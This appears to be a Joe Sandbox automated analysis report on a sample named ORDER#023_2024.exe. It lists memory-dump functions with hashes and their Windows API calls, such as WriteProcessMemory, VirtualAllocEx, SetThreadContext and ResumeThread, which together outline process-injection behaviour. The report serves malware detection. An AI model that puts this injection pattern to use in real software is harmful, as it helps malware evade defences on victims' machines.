Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02A359A9

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4f5a9b84716c2e1a9b426a498662da05ae4eea1340f57c08fdd3bed68f131b1a
Instruction ID: 3769f99b98d9f56983579e01fb461970e9592056325a04f57922a829da0ba1e2
Opcode Fuzzy Hash: 4f5a9b84716c2e1a9b426a498662da05ae4eea1340f57c08fdd3bed68f131b1a
Instruction Fuzzy Hash: 0441E3B0C00759CFDB24CFA9C884BCEBBB5BF49314F64805AE408AB255DB756945CF90

Function 06F564C8 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06F56560

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 10005399de344dec7d08e0e771cc70fe51a20acbc44aee4c3436ef98bffd68cd
Instruction ID: 98d0253965caa84d31f10605215c11aa126546f0415a43c541ff0250a739db88
Opcode Fuzzy Hash: 10005399de344dec7d08e0e771cc70fe51a20acbc44aee4c3436ef98bffd68cd
Instruction Fuzzy Hash: F12124B1D003499FCB10DFA9C885BDEBFF4FB48314F10842AE959A7251D7789945CBA4

Function 06F564D0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06F56560

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 24d206ceb08127fb5d704e7b985dcc6864024f206884cd098eff1ce1615e9edd
Instruction ID: d9425ccd1d6d710a4c5a1fe1c8bc0e05060f5e7c128378f6c3bc7e610683b164
Opcode Fuzzy Hash: 24d206ceb08127fb5d704e7b985dcc6864024f206884cd098eff1ce1615e9edd
Instruction Fuzzy Hash: C02144B1D003499FCB10CFA9C880BEEBBF4FF48320F10842AE959A7251C7789944CBA4

Function 02A3CC40 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02A3D566,?,?,?,?,?), ref: 02A3D627

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: efe1f630d7ad6cf426dd6e7d4c03c3b8c1767b5140767cfb7e049e70508e13f6
Instruction ID: ebc7624251abd9b8481249578b4666f3c59ff6df4157d7f6c037029381cc14d5
Opcode Fuzzy Hash: efe1f630d7ad6cf426dd6e7d4c03c3b8c1767b5140767cfb7e049e70508e13f6
Instruction Fuzzy Hash: 6421E4B5900258DFDB10CF9AD584AEEFFF8EB48324F14841AE958A7310D774A950CFA4

Function 02A3D599 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02A3D566,?,?,?,?,?), ref: 02A3D627

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: deeccebe0055eca4a23189c5773c2d92cc8a85ead8dfe06437a3312388250b86
Instruction ID: ea66edf64dce208cce2b94c319d63e31efc603ebf79f72e4eb039bc983a7493e
Opcode Fuzzy Hash: deeccebe0055eca4a23189c5773c2d92cc8a85ead8dfe06437a3312388250b86
Instruction Fuzzy Hash: 5221E3B5900248DFDB10CFAAD584ADEFBF4EB48324F14841AE958A7310D374A940CFA5

Function 06F55EFA Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F55F7E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0905978806c150595ad5401ff7ddb3b95bf5d32ce8e146207fab52273bb1108a
Instruction ID: cfd376b1750186e2b64703bf66cdb0b39150c4bfe3bbda2617638447e1a6006b
Opcode Fuzzy Hash: 0905978806c150595ad5401ff7ddb3b95bf5d32ce8e146207fab52273bb1108a
Instruction Fuzzy Hash: 952138B1D002498FDB10CFAAC4847EEFBF4AF88324F14842ED559A7240C7789945CFA4

Function 06F565BB Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 06F56640

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 16763782e647d8d94258b38564f04374ed097c6715bc434f3fc34b9ee59d3288
Instruction ID: e853ebadd4d6873031c64a39b0e7beebe149b377554789600d6f25cffed5ac9c
Opcode Fuzzy Hash: 16763782e647d8d94258b38564f04374ed097c6715bc434f3fc34b9ee59d3288
Instruction Fuzzy Hash: 842116B1C003599FCB10DFAAC881AEEFBF5FF48320F50842AE959A7250D7349944CBA4

Function 06F55F00 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F55F7E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7444a6f2692f100a7b025680bd1081df10a16189c3fafb4cdcd833d896439b4f
Instruction ID: 249ba07c513f84d6be60c185daeb046ad389312ebedcb18b186353e262601958
Opcode Fuzzy Hash: 7444a6f2692f100a7b025680bd1081df10a16189c3fafb4cdcd833d896439b4f
Instruction Fuzzy Hash: B62107B1D002098FDB10DFAAC4857EEBBF4AB49324F148429D959A7240D778A945CFA5

Function 06F565C0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 06F56640

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0fea3dc88e5079533117c520d60be0ab50279f3154ce1de406e269d26a473ccf
Instruction ID: 8e935666e5ebf13a25a0893da4168c276326c699d2588b1539077c0c32181e0e
Opcode Fuzzy Hash: 0fea3dc88e5079533117c520d60be0ab50279f3154ce1de406e269d26a473ccf
Instruction Fuzzy Hash: 712116B1C003599FCB10DFAAC881AEEFBF5FF48320F50842AE958A7250D7349944CBA4

Function 06F56408 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06F5647E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3ba52bef306f01a60dee1421c9840207b6b5c99e9c0d31f382c365d889076207
Instruction ID: 596de87de6cc360ca18be07c5c83dd1012151e1582cf13e27e6f92ec8f278e8b
Opcode Fuzzy Hash: 3ba52bef306f01a60dee1421c9840207b6b5c99e9c0d31f382c365d889076207
Instruction Fuzzy Hash: 091159B28002499FCB10DFA9C844BDEFFF5EF88324F148419E559A7250C739A940CFA4

Function 06F56410 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06F5647E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 150b7b52bbcb1526142c1cecabfe44b6f874ccfe604890a19ffcc99e09d81421
Instruction ID: 17b1458e4fd6a839508c5746a9109dbd7746f56a68023ef90a2374c6bccf0b2c
Opcode Fuzzy Hash: 150b7b52bbcb1526142c1cecabfe44b6f874ccfe604890a19ffcc99e09d81421
Instruction Fuzzy Hash: 611137719002499FCB10DFAAC844BEEFFF5EF88324F108419E959A7250C775A944CFA4

Function 06F55E4A Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 06F55EB2

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0a4afeb15551ab8e8668f05949f1801948881896ac11e86b515ad9e5980b3c80
Instruction ID: aedad9c37be67ff4dd278e7e2011bc22dd198f35c4805386b0e5a15f2ddf5137
Opcode Fuzzy Hash: 0a4afeb15551ab8e8668f05949f1801948881896ac11e86b515ad9e5980b3c80
Instruction Fuzzy Hash: A31128B1D002498FCB10DFAAC4447EEFBF5EF88324F208429D559A7250C735A945CF95

Function 06F55E50 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 06F55EB2

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f5157abdde72536d5b6d5b6a3297e854d799c12796903b3d0cffed458a415578
Instruction ID: 34fea6d52e54baf33e90716fc8907757deac891fb4ebe76e4ec1573fbfde4c20
Opcode Fuzzy Hash: f5157abdde72536d5b6d5b6a3297e854d799c12796903b3d0cffed458a415578
Instruction Fuzzy Hash: D41125B1D042488BCB20DFAAC4457EEFBF5AB88324F208429D559A7250CA75A944CFA4

Function 06F59368 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06F593CD

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 52388954438dbdcca50a6dc39192545a1e9e400eeb94eab9eda214cd4d05ec41
Instruction ID: 5dc32fb532e66fa0c931eaaf2ad22838cd7b9e31c5321283aabcac70ccc5a05d
Opcode Fuzzy Hash: 52388954438dbdcca50a6dc39192545a1e9e400eeb94eab9eda214cd4d05ec41
Instruction Fuzzy Hash: 2211C2B5800349DFDB10DF9AD885BDEFBF8EB48324F108419E958A7250D375A984CFA5

Function 02A3B2C0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02A3B326

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2d2dccef9c23b5f6bbacc1d422c49b1a4ae5f82f15a721d8e9870d8e5ac88f90
Instruction ID: 35a5f77ef6fb5c39354110f5723c130ff82389524f8639a6b27f873d014a876e
Opcode Fuzzy Hash: 2d2dccef9c23b5f6bbacc1d422c49b1a4ae5f82f15a721d8e9870d8e5ac88f90
Instruction Fuzzy Hash: 25113FB1C003488FCB10CF9AD444ADEFBF4EF88228F10886AD828A7600C374A545CFA0

Function 06F56788 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06F593CD

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 2eb14208eb2048a628fe303d7a3381b3f0ea7a4ff6db92d23d5e84d38bad11b4
Instruction ID: 89ad669bf1e35d0bde9f06891d16f6f724a1fe6f81d44a735e8eb5cd07f18067
Opcode Fuzzy Hash: 2eb14208eb2048a628fe303d7a3381b3f0ea7a4ff6db92d23d5e84d38bad11b4
Instruction Fuzzy Hash: 551106B5800348DFDB10DF9AD485BDEFBF8EB48320F108459E959A7240D375A944CFA5

Function 00EDD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678691534.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9529ba93be08481d7d2715b40dea968a9bc71c0957333ec6272c2e221d17882f
Instruction ID: 51d6c59938096d9feedc563a9ecb8e70fe9a350cb9b2069e8e2bccca3442e71e
Opcode Fuzzy Hash: 9529ba93be08481d7d2715b40dea968a9bc71c0957333ec6272c2e221d17882f
Instruction Fuzzy Hash: C1210371548240DFCB05DF14EDC0B26BF65FB98318F20C56AE8095B356C336D856CBA1

Function 00EED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678748444.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eed000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 734b9d408614d1fddfd1a57f6ece971b701fee05ff99768fdb18c7953da918c4
Instruction ID: dbff7f59790b7ba3318195a77e1d214506318c392e1d8c79f67f5b70defdcd13
Opcode Fuzzy Hash: 734b9d408614d1fddfd1a57f6ece971b701fee05ff99768fdb18c7953da918c4
Instruction Fuzzy Hash: 5F210471608288DFCB14DF15D9C4B26BFA6FB84318F28C56DD80A5B296C33BD847CA61

Function 00EED005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678748444.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eed000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5403cc0109cf9fe312c69abdec7f9b4041acce8d6bc0b3dcd34f0a5f189947a7
Instruction ID: 9a659ae817d2aec47678287fce642f6845f0a84cc3b86a0c5e75b23106be9ac7
Opcode Fuzzy Hash: 5403cc0109cf9fe312c69abdec7f9b4041acce8d6bc0b3dcd34f0a5f189947a7
Instruction Fuzzy Hash: C42141755093C48FDB12CF24D994715BF72EB46214F28C5EAD8498B6A7C33A980ACB62

Function 00EDD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678691534.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: e96ca613347104f0728a7c746d39f5bcc5071eb778b5da9b9f82332ba3f393ee
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: DE11D376504280DFCB16CF14E9C4B16BF71FB94328F24C6AAD8494B756C336D85ACBA1

Function 00EDD731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678691534.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dacdb2f62d5e6a96cb6ad7bcb7f1c3d417f2091a3c147b717cd9bf1b5871cc1
Instruction ID: 3ca8a72e980e5e14aaf552f09c1f87a121acde17e44a333c8f8819745e20e8e8
Opcode Fuzzy Hash: 4dacdb2f62d5e6a96cb6ad7bcb7f1c3d417f2091a3c147b717cd9bf1b5871cc1
Instruction Fuzzy Hash: 4A01A77100D3449AE7104A25CD847A7FF98EF45328F18D5ABED095E396C279DC45C6B1

Function 00EDD730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678691534.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba7105b72ae69ac2b35a7af09b1c8765fbca93ef9058f669d8fe4cc5da4066c
Instruction ID: dd95920e0d7c763fcbaa545fae3e0e1175786cf9e763808646f421962c93a5a5
Opcode Fuzzy Hash: 8ba7105b72ae69ac2b35a7af09b1c8765fbca93ef9058f669d8fe4cc5da4066c
Instruction Fuzzy Hash: 1CF0C2710083449AE7108A16CC84B62FFA8EF95338F18C45BED081E282C2799C44CAB0

Non-executed Functions

Function 06F5A188 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a2f1e71d730dfd0b8125ecfbace6fbe2b409b595ac74e24204016684a10c78
Instruction ID: 4214049e28dd10c2c4f44bc5042467e1bd0b3ac1c7d6cbbd79f6306244ddcf71
Opcode Fuzzy Hash: 13a2f1e71d730dfd0b8125ecfbace6fbe2b409b595ac74e24204016684a10c78
Instruction Fuzzy Hash: 8FD1BB30B016108FDB69DB79C950BAEB7F7AF89300F154569D68A8B2A1DF39EC01CB51

Function 06F53E20 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77771f2b63735fa7a7e3a86a2013038dd7e7f51303228b112cd9e841a3dd9529
Instruction ID: fe8654b03dbefb077a8a45b7ec934f7e7bbd05a416cf7d853404e834e78a1f22
Opcode Fuzzy Hash: 77771f2b63735fa7a7e3a86a2013038dd7e7f51303228b112cd9e841a3dd9529
Instruction Fuzzy Hash: 37E1FA74E001198FCB54DF99C5819AEFBF2BF89304F249159E915AB356DB30AD81CF60

Function 06F55628 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd24f2807e040d511ade49d7dd21b68e78dfd0edb0152d5cd57f5a65b94e623e
Instruction ID: d0f6c35720846ee40c7555d5846ec3e73273ad5aedd6b29524a1c85930e8e7a0
Opcode Fuzzy Hash: cd24f2807e040d511ade49d7dd21b68e78dfd0edb0152d5cd57f5a65b94e623e
Instruction Fuzzy Hash: 5DE10974E001198FCB14DFA9C5819AEFBB2BF89305F248169D914AB35ADB30AD41CFA1

Function 06F55FD8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e21ddf4da697688da388d220f14f5c5520d8b4abbd501a5086892115f78608
Instruction ID: a3d16ff2406f3f3b606ccb303d7efcb19298703be7196e0cb27f92c15ce41bc9
Opcode Fuzzy Hash: 15e21ddf4da697688da388d220f14f5c5520d8b4abbd501a5086892115f78608
Instruction Fuzzy Hash: 73E1F974E001198FDB54DFA9C5819AEFBB2FF89304F249169E914AB356DB30AD41CFA0

Function 06F535B0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57df6db912c2b7f7b266f0b9929fc1d1f4f2d4cb613b3d7a91db9355a4fd2a86
Instruction ID: 6bfbfc68bbedfc0a89ee62054cb58ff4684631b35b3db7738b28545dede72aa5
Opcode Fuzzy Hash: 57df6db912c2b7f7b266f0b9929fc1d1f4f2d4cb613b3d7a91db9355a4fd2a86
Instruction Fuzzy Hash: D3E10AB5E041198FCB14DFA9C5819AEFBF2BF89304F248169D914AB35ADB30AD41CF61

Function 06F539E8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74098ee4919b90d5b204ea1dd666be68df1fdb2af2e34326a3d65d557021ef4d
Instruction ID: d4ebe75b92541e2abd661b8e0c6cb4bae2cca36ef62169de3563f9e324339f43
Opcode Fuzzy Hash: 74098ee4919b90d5b204ea1dd666be68df1fdb2af2e34326a3d65d557021ef4d
Instruction Fuzzy Hash: F1E1F675E001198FCB14DFA9C5819AEFBF2BF89304F248169E914AB356DB30AD41CFA1

Function 02A3DF14 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0462605c91b6437f2267fc2d12ad302daf9fe2c121351de9ea6299c34f7dfa57
Instruction ID: 88794095fc0d7c84c2a09a7c635775f589aaac856b77f462821161d30bec9e77
Opcode Fuzzy Hash: 0462605c91b6437f2267fc2d12ad302daf9fe2c121351de9ea6299c34f7dfa57
Instruction Fuzzy Hash: 87A16932E10615CFCF16DFA4C98059EB7B2BF84304B25856AF906EB265DF71E916CB80

Function 06F55FCB Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df1f6ee49d83907c4c97c35eaa175b9f1670cef71b54ee4d50941bdd25f088a
Instruction ID: 5f10d0237461cca8e74d314b4d98a89470b184ed03e8a119616868cbd108e8dd
Opcode Fuzzy Hash: 9df1f6ee49d83907c4c97c35eaa175b9f1670cef71b54ee4d50941bdd25f088a
Instruction Fuzzy Hash: 6A510874E002198FDB14CFA9C9815AEFBF2BF89304F249169D918A7356DB31AD41CFA1

Function 06F584EE Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d065617f7d9678f56995e680891188d299f3260501220fa3ec8e88f510c0a4e
Instruction ID: 05595ad16f65f7c0b98d75c69b2686bc74df68d6fdd45aa449c57cb2f3acb7a2
Opcode Fuzzy Hash: 2d065617f7d9678f56995e680891188d299f3260501220fa3ec8e88f510c0a4e
Instruction Fuzzy Hash: 3BF03C36859168CFCB90CF94D4482FCBBF8EB5B392F0220A7991EA6211CB344D84CF40

Function 06F58579 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45244828898cd6b10dc85763c628ea0a1af38e32ba312386e0d2387ed62536d8
Instruction ID: 0381481ebbf2ee1d61e85b5551c3e3d03651f213cd3f67113396c1f041109aad
Opcode Fuzzy Hash: 45244828898cd6b10dc85763c628ea0a1af38e32ba312386e0d2387ed62536d8
Instruction Fuzzy Hash: AEE0923AD1D264DFC7909FA8E4481F4FBB9EB0B346F0120E79A1DAB112D2304D008F95

Function 06F586B6 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c3766a0ca5fc984431d2530e1e93ffba98831fe704bc999fdd410e653377a5b
Instruction ID: c84ee6c146f2a39772a77f8d16b24223e6e845aa18160a79660208aa964cd031
Opcode Fuzzy Hash: 9c3766a0ca5fc984431d2530e1e93ffba98831fe704bc999fdd410e653377a5b
Instruction Fuzzy Hash: B7C01227E89020DED7400984A4040F8F7BEDB57192B0630B38F1E92112915189154698

Analysis Process: ORDER#023_2024.exePID: 4268, Parent PID: 6936COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	9

Executed Functions

Function 014CBC88 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014CBD16
GetCurrentThread.KERNEL32 ref: 014CBD53
GetCurrentProcess.KERNEL32 ref: 014CBD90
GetCurrentThreadId.KERNEL32 ref: 014CBDE9

Memory Dump Source

Source File: 00000005.00000002.2904709160.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_14c0000_ORDER#023_2024.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
